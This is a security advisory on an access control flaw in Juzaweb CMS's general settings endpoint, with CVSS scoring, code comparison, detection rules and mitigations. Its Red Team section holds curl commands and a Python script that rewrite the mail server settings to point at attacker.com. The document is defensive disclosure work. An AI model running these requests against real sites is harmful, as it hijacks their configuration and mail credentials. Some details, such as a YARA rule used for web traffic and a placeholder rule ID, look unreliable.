CVE-2025-5423

Executive Summary

CVE-2025-5423 is a critical improper access control vulnerability in Juzaweb CMS up to version 3.4.2. The flaw resides in the /admin-cp/setting/system/general endpoint of the General Setting Page, allowing remote attackers to manipulate system settings without proper authorization. The vendor has been unresponsive, leaving the vulnerability unpatched. Public exploit code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

Juzaweb is a PHP-based CMS distributed via Composer. The vulnerability affects the core application, not a third-party package. Organizations using Juzaweb should treat this as a direct supply chain risk due to the lack of a vendor patch.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) - Full system settings exposure.
• Integrity (I): High (H) - Settings can be modified arbitrarily.
• Availability (A): High (H) - Could lead to denial of service via misconfiguration.

CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability is an improper access control (CWE-284) in the General Setting page of Juzaweb's admin panel. The endpoint /admin-cp/setting/system/general does not enforce proper authorization checks, allowing unauthenticated remote attackers to read and modify system-wide settings. This includes database credentials, mail server configurations, and other sensitive parameters.

The attack flow:

1. Attacker sends a GET request to /admin-cp/setting/system/general to retrieve current settings.
2. Attacker sends a POST request with modified parameters to update settings.
3. The server processes the request without verifying the user's role or session.

The lack of a CSRF token or session validation makes this trivially exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (Juzaweb <= 3.4.2):

// /modules/Core/Http/Controllers/SettingController.php
public function general()
{
    $config = Setting::all();
    return view('setting.general', compact('config'));
}

public function updateGeneral(Request $request)
{
    foreach ($request->all() as $key => $value) {
        Setting::set($key, $value);
    }
    return redirect()->back()->with('success', 'Settings updated');
}

Patched Code (Hypothetical):

// /modules/Core/Http/Controllers/SettingController.php
public function general()
{
    if (!auth()->user()->can('manage_settings')) {
        abort(403);
    }
    $config = Setting::all();
    return view('setting.general', compact('config'));
}

public function updateGeneral(Request $request)
{
    if (!auth()->user()->can('manage_settings')) {
        abort(403);
    }
    foreach ($request->all() as $key => $value) {
        Setting::set($key, $value);
    }
    return redirect()->back()->with('success', 'Settings updated');
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Juzaweb CMS version <= 3.4.2
• Network access to the admin panel

Exploit Steps:

1. Retrieve current settings:

curl -X GET http://target.com/admin-cp/setting/system/general

2. Modify critical settings (e.g., change mail server to attacker-controlled):

curl -X POST http://target.com/admin-cp/setting/system/general \
  -d "mail_host=attacker.com&mail_username=admin&mail_password=evilpass"

3. Verify changes by re-fetching settings.

Automated Exploit Script:

import requests

target = "http://target.com/admin-cp/setting/system/general"
payload = {
    "mail_host": "attacker.com",
    "mail_username": "admin",
    "mail_password": "evilpass"
}

# Read current settings
r = requests.get(target)
print("Current settings:", r.text)

# Update settings
r = requests.post(target, data=payload)
print("Update response:", r.text)

Blue Team

Detection:

• Monitor for unauthorized access to /admin-cp/setting/system/general from non-admin IPs.
• Alert on POST requests to this endpoint without a valid session cookie.
• Look for changes to mail server, database, or other critical settings.

Honeypot:

• Deploy a fake Juzaweb instance and monitor for exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /admin-cp/setting/system/general with POST method
  • Unusual parameters in POST body (e.g., mail_host, mail_password)
• File System:
  • Modified .env or configuration files
  • New cron jobs or scheduled tasks
• Logs:
  • Access logs showing repeated requests to the vulnerable endpoint
  • Error logs with "Unauthenticated access" or similar messages

Detection Engineering

YARA Rule

rule juzaweb_cve_2025_5423 {
    meta:
        description = "Detects exploitation attempts of CVE-2025-5423 in Juzaweb CMS"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5423"
    strings:
        $s1 = "/admin-cp/setting/system/general" ascii wide nocase
        $s2 = "mail_host" ascii wide nocase
        $s3 = "mail_password" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Juzaweb CVE-2025-5423 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit improper access control in Juzaweb CMS
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin-cp/setting/system/general'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Juzaweb CVE-2025-5423 Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin-cp/setting/system/general"; http_uri; content:"mail_host"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by adding a .htaccess rule:

<LocationMatch "^/admin-cp/setting/system/general">
    Require all denied
</LocationMatch>

2. Implement a WAF rule to block POST requests to the vulnerable path.

3. Apply a virtual patch using a reverse proxy:

location /admin-cp/setting/system/general {
    deny all;
    return 403;
}

Long-term Fix:

• Upgrade to a patched version once available.
• Implement proper authentication and authorization checks in all admin endpoints.
• Conduct a security audit of the entire CMS.

Workaround:

• Restrict network access to the admin panel to trusted IPs only.

Valters IT
Securing Digital Frontiers